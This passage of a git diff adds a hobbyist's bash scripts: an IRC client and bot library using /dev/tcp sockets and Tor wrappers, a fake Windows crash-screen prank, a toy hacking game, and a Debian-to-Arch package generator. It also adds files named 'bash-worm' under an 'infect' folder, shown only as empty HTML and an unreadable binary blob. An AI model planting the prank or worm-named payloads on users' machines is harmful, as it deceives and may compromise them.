ROX!!!" + # ^APING Suxor^A == "/PING Suxor" + # etc... + # Licence policy: eNarchy ultrafree opensource copylefted public domain ;D + # Other questions -> !!!-UTFS-FM-OMG-!!! + # Deps: + # BASH>=3 + # tail + # one of these: (netcat|telnet(-ssl)?|socket|stunnel|socat) - set NETCAT in settings + +################################################################################################# + +#DEFAULT_SETTINGS (Can be overriden by command-line arguments) + #Host and port: + BIRCHOST=irc.lukysoft.sk + BIRCPORT=6667 + #Nic to use: + BIRCNICK=bircbot + #Channel to join: + BIRCCHAN=\#skola + #Wait N seconds before first try to join: + BIRCWAIT=1 + #Try to rejoin after N seconds since connected: + BIRCJOIW=10 + #Clean socket file every N seconds: + BIRCLEAN=120 + #Where to save socket file? + BIRCSDIR=~/.birc + BIRCSOCK="$BIRCSDIR"/sock + #NetCat binary (see comments ^^^): + NETCAT="birc_bash_netcat" + #NET/IO Interval (tail -s N): + TAILSLEEP=0.3 + +################################################################################################# + +#BIRC_NETCAT_WRAPPERS (RTFM) + birc_socat() { socat STDIO TCP4:"$1":"$2"; } + birc_socat_ssl() { socat STDIO OPENSSL:"$1":"$2",verify=0; } + birc_socat_6() { socat STDIO TCP6:"$1":"$2"; } + birc_stunnel() { stunnel -c -r "$1":"$2"; } + birc_telnet_ssl() { telnet-ssl -z ssl "$1" "$2"; } + birc_bash_netcat() { + exec 5<>"/dev/tcp/$1/$2"; + cat <&5 & + cat >&5; + } + + #SOCKS Server settings: + SOCKSSERV=127.0.0.1 + SOCKSPORT=9050 + + birc_socat_tor() { socat STDIO SOCKS4A:"$SOCKSSERV":"$1":"$2",socksport="$SOCKSPORT"; } + birc_socat_tor_ssl() { + BIRCTUNPORT=$[ 1025+($RANDOM%9999) ] + echo [i] Starting SOCKS4A tunnel to "$1":"$2" on random port = "$BIRCTUNPORT"; + socat TCP4-LISTEN:"$BIRCTUNPORT",fork SOCKS4A:"$SOCKSSERV":"$1":"$2",socksport="$SOCKSPORT" & + socat STDIO OPENSSL:127.0.0.1:"$BIRCTUNPORT",verify=0; + } + +################################################################################################# + +#BIRC_FUNCTIONS (BIRC Library) + birc_help() { + # BIRC Help - prints help and exit + echo "BIRC - BASH IRC (lib,client,bot) - Harvie 2oo7"; + echo -e "\tUsage:"; + echo -ne "\t$0 "; + echo "[server [port [nick [channel [ sockfile [ netcatbin]]]]]]"; + echo -e "\tDefault: $BIRCHOST $BIRCPORT $BIRCNICK $BIRCCHAN $BIRCSOCK $NETCAT"; + echo; + exit; + } + + birc_parse() { + # BIRC Parse (data, socket) + # You can handle each incoming line ($1) here + + #PRINT + echo "$1"; + + #PING/PONG + if [[ "$1" =~ ^PING' '*:(.*) ]]; then + echo "PONG :${BASH_REMATCH[1]}" + echo "PONG :${BASH_REMATCH[1]}" >> "$2" + fi; + + # -> MORE BOT-FUNCTIONS HERE <- + # BASH is cool, you can just call another "module" script with bot functions from here. + } + + + birc_connect() { + # IRC Connect (socket, host, port) + # Create new socket fifos... + rm -f "$1"; touch "$1"; + rm -f "$1"r; touch "$1"r; + + # Open connection and pipes on background + birc_startnc() { + tail -f --retry -s "$TAILSLEEP" "$1" 2> /dev/null | "$NETCAT" "$2" "$3" >> "$1"r; + # Close birc after connection closed + kill -2 $$; sleep 1; kill -9 $$; + } + birc_startnc "$1" "$2" "$3" & + + # Recieve and process incoming commands + tail -f --retry -s "$TAILSLEEP" "$1"r 2> /dev/null | while read BIRCLINE; do + birc_parse "$BIRCLINE" "$1" + done & + } + + birc_login() { + # IRC Login (socket, nick) + echo NICK "$2" >> "$1" + echo USER "$2 $2 $2 :$2" >> "$1" + echo >> "$1" + } + + birc_join() { + # IRC Join (socket, channel) + echo JOIN "$2" >> "$1" + } + + birc_delayed_join() { + # IRC Join with delay on BG (socket, channel, delay (secs)) + sleep "$3" && birc_join "$1" "$2" & + } + + birc_say() { + # IRC Send (socket, data[, receiver]) + # -> MORE USER-FUNCTIONS HERE <- + + if [[ "$2" =~ ^/(.*) ]]; then + #Server command + echo "${BASH_REMATCH[1]}" >> "$1" + else + #Common message + echo PRIVMSG "$3" :"$2" >> "$1" + fi; + } + + birc_cleanup() { + # BIRC Cleanup (socket) + # Cleanup mess leaved in system before BIRC exit + kill -s SIGINT $(jobs -p); > /dev/null 2>&1 + kill -s SIGKILL $(jobs -p); > /dev/null 2>&1 + echo \[!\] All background jobs stoped! + rm -f "$1"; > /dev/null 2>&1 + rm -f "$1"r; > /dev/null 2>&1 + echo \[!\] All temp files removed! + echo \[X\] Quiting BIRC... + exit; + } + + birc_autocleand() { + # BIRC Autoclean Daemon (socket, delay) + # starts on background, clean socket each $2 seconds + while true; do + sleep "$2"; + echo -n > "$1" > /dev/null 2>&1; + echo -n > "$1"r > /dev/null 2>&1; + done & + } + +################################################################################################# + +#MAIN_C0DE (BIRC-Lib example) + #ARGUMENTS + if [ "$1" == "-h" ]; then birc_help; fi; + if [ -n "$1" ]; then BIRCHOST="$1"; fi; + if [ -n "$2" ]; then BIRCPORT="$2"; fi; + if [ -n "$3" ]; then BIRCNICK="$3"; fi; + if [ -n "$4" ]; then BIRCCHAN="$4"; fi; + if [ -n "$5" ]; then BIRCSOCK="$5"; fi; + if [ -n "$6" ]; then NETCAT="$6"; fi; + + echo \[*\] Starting BASH IRC Client\\Bot + trap "echo; echo \[X\] Caught SIGINT - terminating...; birc_cleanup \"$BIRCSOCK\"" SIGINT; + mkdir -p "$BIRCSDIR"; + echo \[I\] Written by \<-Harvie 2oo7; + echo; + + echo \[i\] Using socket wrapper "$NETCAT"; + echo \[i\] Using socket Files/FIFOs "$BIRCSOCK"\(r\); + echo \[i\] Using socket interval "$TAILSLEEP" seconds between I/O; + birc_connect "$BIRCSOCK" "$BIRCHOST" "$BIRCPORT"; + birc_autocleand "$BIRCSOCK" "$BIRCLEAN"; + sleep 1; + + echo \[i\] "$USER"@$(hostname) -\> "$BIRCNICK@$BIRCCHAN@$BIRCHOST:$BIRCPORT"; + birc_login "$BIRCSOCK" "$BIRCNICK"; + sleep "$BIRCWAIT"; + + echo \[i\] Joining channel "$BIRCCHAN"; + birc_join "$BIRCSOCK" "$BIRCCHAN"; + birc_delayed_join "$BIRCSOCK" "$BIRCCHAN" "$BIRCJOIW"; + + echo \[\>\] Now waiting for your messages on STDIN; + while true; do + read BIRCSEND; + birc_say "$BIRCSOCK" "$BIRCSEND" "$BIRCCHAN"; + done; + + birc_cleanup "$BIRCSOCK"; + exit; diff --git a/bash/bircb/r b/bash/bircb/r new file mode 100755 index 0000000..e69de29 diff --git a/bash/bircb/test.bash b/bash/bircb/test.bash new file mode 100755 index 0000000..0d41fbf --- /dev/null +++ b/bash/bircb/test.bash @@ -0,0 +1,11 @@ +#!/bin/bash + +loool + +#FUNCTIONS +function loool() { + while true; do + echo lol + sleep 1 + done; +} diff --git a/bash/bsod.sh b/bash/bsod.sh new file mode 100755 index 0000000..01c2799 --- /dev/null +++ b/bash/bsod.sh @@ -0,0 +1,31 @@ +#!/bin/sh +# YABK - Yet Another BSOD Kit +# Simple BSOD implementation by Harvie +# For more BSoDs check http://ro.wikipedia.org/wiki/Blue_Screen_of_Death/Simulare + +echo -ne "\033[1;37m" #white text +echo -ne "\033[44m" #blue bg +echo -ne "\033[0;0H" #Start of screen +echo -ne "\033[2J" #cls + +echo +echo +echo + +echo -e " \033[0;34m\033[47mWindows\033[0;1m" +echo -ne "\033[1;37m" #white text +echo -ne "\033[44m" #blue bg +echo -e " A fatal exception OE has occured at 0028:C0011E36 in VXD VMM(01) +\033[44m\033[K" +echo " 00010E36. The current application will be terminated. + + * Press any key to terminate the current application + * Press CTRL+ALT+DEL again to restart your computer. You will + lose any unsaved information in all applications. +" +echo -e " Press any key to continue _\033[0;0m" + +echo +echo +echo +echo -ne "\033[999B" +read diff --git a/bash/butils/tinyutils.bash b/bash/butils/tinyutils.bash new file mode 100755 index 0000000..478a9e9 --- /dev/null +++ b/bash/butils/tinyutils.bash @@ -0,0 +1,12 @@ +#!/bin/bash + +tinycat() { + if [ -a "$1" ]; then + exec 6<"$1"; + while read line <&6; do + echo "$line"; + done; + exec 6<&-; + else echo 'FNF!' > /dev/stderr + fi; +} diff --git a/bash/caudacious.sh b/bash/caudacious.sh new file mode 100755 index 0000000..e43e97a --- /dev/null +++ b/bash/caudacious.sh @@ -0,0 +1,39 @@ +#!/bin/sh + +export XDIALOG_HIGH_DIALOG_COMPAT=true; +DISPLAY=':0.0'; +dialog="dialog"; #(dialog|whiptail|Xdialog|gdialog); +tmpfile="/tmp/caudacui-$$.tmp"; + +#ssh keepalive +while true; do + sleep 1; + echo -ne '\x00'; +done & + +#menu loop +while true; do + "$dialog" --title "Harvie's Remote Textmode UI for Audacious & amixer" --no-shadow --menu '' 0 0 0\ + ' -t' '|> PLAY/PAUSE'\ + ' -s' '## STOP'\ + ' -f' '>> FWD'\ + ' -r' '<< REV'\ + ' -p' '-> PLAY'\ + ' -u' '|| PAUSE'\ + ' 100%' '-- VOLUME MAX'\ + ' 5%+' '-- VOLUME +5dB'\ + ' 5%-' '-- VOLUME -5dB'\ + ' 0%- toggle' 'xx MUTE'\ + 2>"$tmpfile"; + if [[ "$?" != 0 ]]; then + kill "$!"; >/dev/null 2>&1 + rm -f "$tmpfile"; + exit; + fi; + echo 'Processing...'; + if ( grep '%' -F "$tmpfile" ); then + amixer -c 0 sset Master $(cat "$tmpfile"); + continue; + fi; + audacious -n 0 $(cat "$tmpfile"); +done; diff --git a/bash/debian-ports/debiarch.sh b/bash/debian-ports/debiarch.sh new file mode 100644 index 0000000..de4f864 --- /dev/null +++ b/bash/debian-ports/debiarch.sh @@ -0,0 +1,81 @@ +#!/bin/bash +dscurl='http://ftp.de.debian.org/debian/pool/main/s/sash/sash_3.7-8.dsc'; +pkgurl=$(dirname "$dscurl"); + +#init +tmpdir="/tmp/debiarch-pid$$"; +rm -rf "$tmpdir"; +mkdir "$tmpdir" + +dscfile="${tmpdir}/desc.dsc"; +wget "$dscurl" -O "$dscfile" > /dev/null 2>&1 || exit 1; + +echo '# Contributor: Your Name youremail at domain dot com' +echo '# This PKGBUILD was automatically generated and it will probably need few manual fixes' +echo + +pkgname=$(cat "$dscfile" | grep '^Binary: ' | cut -d ' ' -f 2 | head -n 1) +echo "pkgname=$pkgname" +pkgver=$(cat "$dscfile" | grep '^Version: ' | cut -d ' ' -f 2 | head -n 1) +echo "pkgver=$pkgver" +stdver=$(cat "$dscfile" | grep '^Standards-Version: ' | cut -d ' ' -f 2 | head -n 1) + +#misc +echo 'pkgrel=1' +echo "pkgdesc='Port of Debian package $pkgname to ArchLinux'" +echo "arch=('i686' 'x86_64')" +echo "url='$dscurl'" +echo "license=('GPL')" + +echo '#ArchLinux packages will probably have different names to Debian packages:' +echo '#depends=() #check ${srcdir}/${pkgname}-${pkgver}/control for info about depends' +echo '#makedepends=(' $(cat "$dscfile" | grep '^Build-Depends\(\|-Indep\): ' | cut -d ' ' -f 2- ) ')' +echo '#install=debian.install #uncomment if needed' + +echo 'source=(' + cat "$dscfile" | grep '^ ' | cut -d ' ' -f 4 | sort -u | while read line; do echo -ne '\t'; echo "${pkgurl}/$line"; done; +echo ')' + +echo 'md5sums=(' +echo -e '\t#Make your own using md5sum *' +echo ')' + + +echo ' +build() { + srcsubdir=$(ls -1 --group-directories-first "$srcdir" | head -n 1) #guess it... ;) + + echo -e "\n-------------------------------------------" + echo "==> Note you can check ${srcdir}/${srcsubdir}/debian/control for more info and run-time dependencies" + echo "==> and ${srcdir}/${srcsubdir}/debian/README.debian for even more info" + echo "==> Short version follows:" + cat "${srcdir}/${srcsubdir}/debian/control" | grep -i "^\(Depends\|Conflicts\|Suggests\|Description\):" | sort -u + echo -e "-------------------------------------------\n" + + cd "${srcdir}" + + #Apply debian patch (which contains more patches lol) + #patch -p0 < ${pkgname}_${pkgver}.diff + patch -p0 < ${pkgname}*.diff #another ugly asterisk hack muhwahwa... + + #cd ${srcdir}/${pkgname}-${pkgver}/ + cd "${srcdir}/${srcsubdir}/" + + #Apply Debian patches (if any ;o) + for i in $(cat ./debian/patches/00list); do + bash "./debian/patches/$i.dpatch" -patch + done; + + #Debian install script (if any...) + cp ./debian/postinst "${startdir}/debian.install" + + #real build() work here (you will probably need to edit this): + cd "${srcdir}/${srcsubdir}" || return 1 + ./configure --prefix=/usr + make || return 1 + make DESTDIR=$pkgdir install || return 1 +} +' + +#cleanup +rm -rf "$tmpdir"; diff --git a/bash/debian-ports/test/PKGBUILD b/bash/debian-ports/test/PKGBUILD new file mode 100644 index 0000000..e67408d --- /dev/null +++ b/bash/debian-ports/test/PKGBUILD @@ -0,0 +1,56 @@ +# Contributor: Your Name youremail at domain dot com +# This PKGBUILD was automatically generated and it will probably need few manual fixes + +pkgname=sash +pkgver=3.7 +pkgrel=1 +pkgdesc='Port of Debian package sash to ArchLinux' +arch=('i686' 'x86_64') +url='http://ftp.de.debian.org/debian/pool/main/s/sash/sash_3.7-8.dsc' +license=('GPL') +#ArchLinux packages will probably have different names to Debian packages: +#depends=() #check ${srcdir}/${pkgname}-${pkgver}/control for info about depends +#makedepends=( zlib1g-dev (>= 1:1.2.2-7), cdbs, debhelper (>= 4.1.0), e2fslibs-dev ) +#install=debian.install #uncomment if needed +source=( + http://ftp.de.debian.org/debian/pool/main/s/sash/sash_3.7-8.diff.gz + http://ftp.de.debian.org/debian/pool/main/s/sash/sash_3.7.orig.tar.gz +) +md5sums=( + #Make your own using md5sum * +) + +build() { + srcsubdir=$(ls -1 --group-directories-first "$srcdir" | head -n 1) #guess it... ;) + + echo -e "\n-------------------------------------------" + echo "==> Note you can check ${srcdir}/${srcsubdir}/debian/control for more info and run-time dependencies" + echo "==> and ${srcdir}/${srcsubdir}/debian/README.debian for even more info" + echo "==> Short version follows:" + cat "${srcdir}/${srcsubdir}/debian/control" | grep -i "^\(Depends\|Conflicts\|Suggests\|Description\):" + echo -e "-------------------------------------------\n" + + cd "${srcdir}" + + #Apply debian patch (which contains more patches lol) + #patch -p0 < ${pkgname}_${pkgver}.diff + patch -p0 < ${pkgname}*.diff #another ugly asterisk hack muhwahwa... + + #cd ${srcdir}/${pkgname}-${pkgver}/ + cd "${srcdir}/${srcsubdir}/" + + #Apply Debian patches (if any ;o) + for i in $(cat ./debian/patches/00list); do + bash "./debian/patches/$i.dpatch" -patch + done; + + #Debian install script (if any...) + cp ./debian/postinst "${startdir}/debian.install" + + #real build() work here (you will probably need to edit this): + cd "${srcdir}/${srcsubdir}" || return 1 + ./configure --prefix=/usr + make || return 1 + make DESTDIR=$pkgdir install || return 1 +} + diff --git a/bash/debian-ports/test/debian.install b/bash/debian-ports/test/debian.install new file mode 100644 index 0000000..bb72d96 --- /dev/null +++ b/bash/debian-ports/test/debian.install @@ -0,0 +1,114 @@ +#! /bin/sh +# postinst for sash +# + +set -e + +if [ "$1" = "configure" ] && [ "$2" = "" ] || dpkg --compare-versions "$2" lt "3.7-7.3"; then + # initial install or upgrade from old version which didn't call + # add-shell properly. + /usr/sbin/add-shell /bin/sash +fi + +# Make sure we get rid of any stuff in /usr/doc +if [ -L "/usr/doc/sash" ]; then + rm -f "/usr/doc/sash" +fi + + +#DEBHELPER# +#! /bin/sh +# postinst for sash +# + +set -e + +if [ "$1" = "configure" ] && [ "$2" = "" ] || dpkg --compare-versions "$2" lt "3.7-7.3"; then + # initial install or upgrade from old version which didn't call + # add-shell properly. + /usr/sbin/add-shell /bin/sash +fi + +# Make sure we get rid of any stuff in /usr/doc +if [ -L "/usr/doc/sash" ]; then + rm -f "/usr/doc/sash" +fi + + +#DEBHELPER# +#! /bin/sh +# postinst for sash +# + +set -e + +if [ "$1" = "configure" ] && [ "$2" = "" ] || dpkg --compare-versions "$2" lt "3.7-7.3"; then + # initial install or upgrade from old version which didn't call + # add-shell properly. + /usr/sbin/add-shell /bin/sash +fi + +# Make sure we get rid of any stuff in /usr/doc +if [ -L "/usr/doc/sash" ]; then + rm -f "/usr/doc/sash" +fi + + +#DEBHELPER# +#! /bin/sh +# postinst for sash +# + +set -e + +if [ "$1" = "configure" ] && [ "$2" = "" ] || dpkg --compare-versions "$2" lt "3.7-7.3"; then + # initial install or upgrade from old version which didn't call + # add-shell properly. + /usr/sbin/add-shell /bin/sash +fi + +# Make sure we get rid of any stuff in /usr/doc +if [ -L "/usr/doc/sash" ]; then + rm -f "/usr/doc/sash" +fi + + +#DEBHELPER# +#! /bin/sh +# postinst for sash +# + +set -e + +if [ "$1" = "configure" ] && [ "$2" = "" ] || dpkg --compare-versions "$2" lt "3.7-7.3"; then + # initial install or upgrade from old version which didn't call + # add-shell properly. + /usr/sbin/add-shell /bin/sash +fi + +# Make sure we get rid of any stuff in /usr/doc +if [ -L "/usr/doc/sash" ]; then + rm -f "/usr/doc/sash" +fi + + +#DEBHELPER# +#! /bin/sh +# postinst for sash +# + +set -e + +if [ "$1" = "configure" ] && [ "$2" = "" ] || dpkg --compare-versions "$2" lt "3.7-7.3"; then + # initial install or upgrade from old version which didn't call + # add-shell properly. + /usr/sbin/add-shell /bin/sash +fi + +# Make sure we get rid of any stuff in /usr/doc +if [ -L "/usr/doc/sash" ]; then + rm -f "/usr/doc/sash" +fi + + +#DEBHELPER# diff --git a/bash/debian-ports/test/postinst b/bash/debian-ports/test/postinst new file mode 100644 index 0000000..373a844 --- /dev/null +++ b/bash/debian-ports/test/postinst @@ -0,0 +1,38 @@ +#! /bin/sh +# postinst for sash +# + +set -e + +if [ "$1" = "configure" ] && [ "$2" = "" ] || dpkg --compare-versions "$2" lt "3.7-7.3"; then + # initial install or upgrade from old version which didn't call + # add-shell properly. + /usr/sbin/add-shell /bin/sash +fi + +# Make sure we get rid of any stuff in /usr/doc +if [ -L "/usr/doc/sash" ]; then + rm -f "/usr/doc/sash" +fi + + +#DEBHELPER# +#! /bin/sh +# postinst for sash +# + +set -e + +if [ "$1" = "configure" ] && [ "$2" = "" ] || dpkg --compare-versions "$2" lt "3.7-7.3"; then + # initial install or upgrade from old version which didn't call + # add-shell properly. + /usr/sbin/add-shell /bin/sash +fi + +# Make sure we get rid of any stuff in /usr/doc +if [ -L "/usr/doc/sash" ]; then + rm -f "/usr/doc/sash" +fi + + +#DEBHELPER# diff --git a/bash/getopts.sh b/bash/getopts.sh new file mode 100755 index 0000000..270410a --- /dev/null +++ b/bash/getopts.sh @@ -0,0 +1,7 @@ +#!/bin/sh + +while getopts "a:b:c:d:" OPT; do + echo "$OPT ==> $OPTARG"; +done + +shift $(($OPTIND -1)); echo "Rest: $@"; diff --git a/bash/hhgame/etc/motd b/bash/hhgame/etc/motd new file mode 100755 index 0000000..61b4cd1 --- /dev/null +++ b/bash/hhgame/etc/motd @@ -0,0 +1,12 @@ + ~~ WELCOME ~~ +~~ ~~ +I I +I Harvie's I +I Hacking I +I Gejm I +I 2oo7 I +I I +~~ ~~ + ~~ ~~~~~~~ ~~ +/_______________\ + diff --git a/bash/hhgame/etc/win b/bash/hhgame/etc/win new file mode 100755 index 0000000..febd461 --- /dev/null +++ b/bash/hhgame/etc/win @@ -0,0 +1,11 @@ + + + ,jf + _am, ,_am, ,_g_oam, _am, _g_ag, _am, koewkovg _mm_ + ,gF @._-gF @-" jf @ ,gF @ ^ NX #_,gF @ jf qK " + 8Y 8Y d j# jF .8Y ,d dY 8Y d jf *b, +jK , jK ,N jN jF :K ,Z ,jF jK ,Z" ,jfk, dN. + NbpP NbpP dP dFk_o8NbpP"V^dF NbpY"V^"dF "dYo-"*h,W" + ,gF',@' + :8K j8 + "*w*" diff --git a/bash/hhgame/games/stupid.sh b/bash/hhgame/games/stupid.sh new file mode 100755 index 0000000..d2090ad --- /dev/null +++ b/bash/hhgame/games/stupid.sh @@ -0,0 +1,20 @@ +#!/bin/bash +GWD=\~/stupid +source include.sh + +clear + +echo box:\~\# vi /etc/passwd +echo box:\~\# su game + +while true; do + echo -n game@box:$GWD \$ "" + read gcmd + case "$gcmd" in + "exit") ./win.sh stupid && exit ;; + "help") echo Root allowed you to login from his shell... INCOMPETENT IDIOT!! \;D && echo \"abort\" to exit... ;; + esac + + game_commands "$gcmd" + shell_commands "$gcmd" +done diff --git a/bash/hhgame/include.sh b/bash/hhgame/include.sh new file mode 100755 index 0000000..2dbe833 --- /dev/null +++ b/bash/hhgame/include.sh @@ -0,0 +1,29 @@ +#!/bin/bash + +function shell_commands() { + case "$1" in + "exit") exit ;; + "logout") exit ;; + "clear") clear ;; + + "help") echo Try \"man hhgame\"... ;; + "man") echo Which man page\? ;; + "man hhgame") more man/hhgame.txt ;; + "man game") more man/game.txt ;; + + "lsgames") ls games ;; + + "winners") more var/log/winners ;; + + *) echo hhgame: $1: command not found + esac +} + +function game_commands() { + case "$1" in + "exit") exit ;; + "logout") echo bash: logout: not login shell: use \`exit\' && continue ;; + "abort") echo Such early\? && exit ;; + esac +} + diff --git a/bash/hhgame/login.sh b/bash/hhgame/login.sh new file mode 100755 index 0000000..d65c0c2 --- /dev/null +++ b/bash/hhgame/login.sh @@ -0,0 +1,18 @@ +#!/bin/bash +cd /home/harvie/Work/hhgame + +while true; do + + clear + cat etc/motd + echo 0 - Start GAME + echo 1 - Disconnect + echo + echo -n ~\> "" + + read o + case $o in + 0) ./shell.sh ;; + 1) exit ;; + esac +done diff --git a/bash/hhgame/man/hhgame.txt b/bash/hhgame/man/hhgame.txt new file mode 100755 index 0000000..e264bff --- /dev/null +++ b/bash/hhgame/man/hhgame.txt @@ -0,0 +1,17 @@ + -=-= Harvie's Hacking Game =-=- + +> Main shell commands: + +exit +logout + +man [page] - display man page + +lsgames - list available games +game [game-name] - start game (game name without extension) + (stupid.sh -> game stupid) + +winners - list winners + +> There will be more help... + diff --git a/bash/hhgame/shell.sh b/bash/hhgame/shell.sh new file mode 100755 index 0000000..7d8e75c --- /dev/null +++ b/bash/hhgame/shell.sh @@ -0,0 +1,16 @@ +#!/bin/bash +GWD=\~ +source include.sh + +clear +while true; do + + echo -n game@box:$GWD \$ "" + read gcmd + case "$gcmd" in + "game") echo You must specify game name \(man game\)... && continue ;; + "game stupid") ./games/stupid.sh && continue ;; + esac + shell_commands "$gcmd" + +done diff --git a/bash/hhgame/test.sh b/bash/hhgame/test.sh new file mode 100755 index 0000000..716765e --- /dev/null +++ b/bash/hhgame/test.sh @@ -0,0 +1,5 @@ +#!/bin/bash + +fci() { + echo funkce; +} diff --git a/bash/hhgame/var/log/winners b/bash/hhgame/var/log/winners new file mode 100755 index 0000000..5932f5b --- /dev/null +++ b/bash/hhgame/var/log/winners @@ -0,0 +1,7 @@ +stupid:Harvie +stupid:Roflorz-United +lol:Lolor +lol:FUCK-U-ALL +stupid:Harvie +lol:Harvie > lol +lol>lol:Harvie>lol diff --git a/bash/hhgame/win.sh b/bash/hhgame/win.sh new file mode 100755 index 0000000..58ca735 --- /dev/null +++ b/bash/hhgame/win.sh @@ -0,0 +1,17 @@ +#!/bin/bash + +clear +cat etc/win + +echo You won $1 level!!! +echo -n Enter your nick \(or type exit\): "" +read nick + +if [ $nick = "exit" ]; then + echo You weren\'t written to list of winners... ; + exit; +fi; + +echo $1:$nick >> var/log/winners +echo Written to list of winners as $1:$nick! +exit diff --git a/bash/infect/bash-worm.htm b/bash/infect/bash-worm.htm new file mode 100755 index 0000000..e21cde1 --- /dev/null +++ b/bash/infect/bash-worm.htm @@ -0,0 +1,11 @@ + +
+ + + + + + + +
+ diff --git a/bash/infect/bash-worm.swf b/bash/infect/bash-worm.swf new file mode 100755 index 0000000000000000000000000000000000000000..f404d5e58f79a9432b1456488d6859579bf963ea GIT binary patch literal 2401637 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 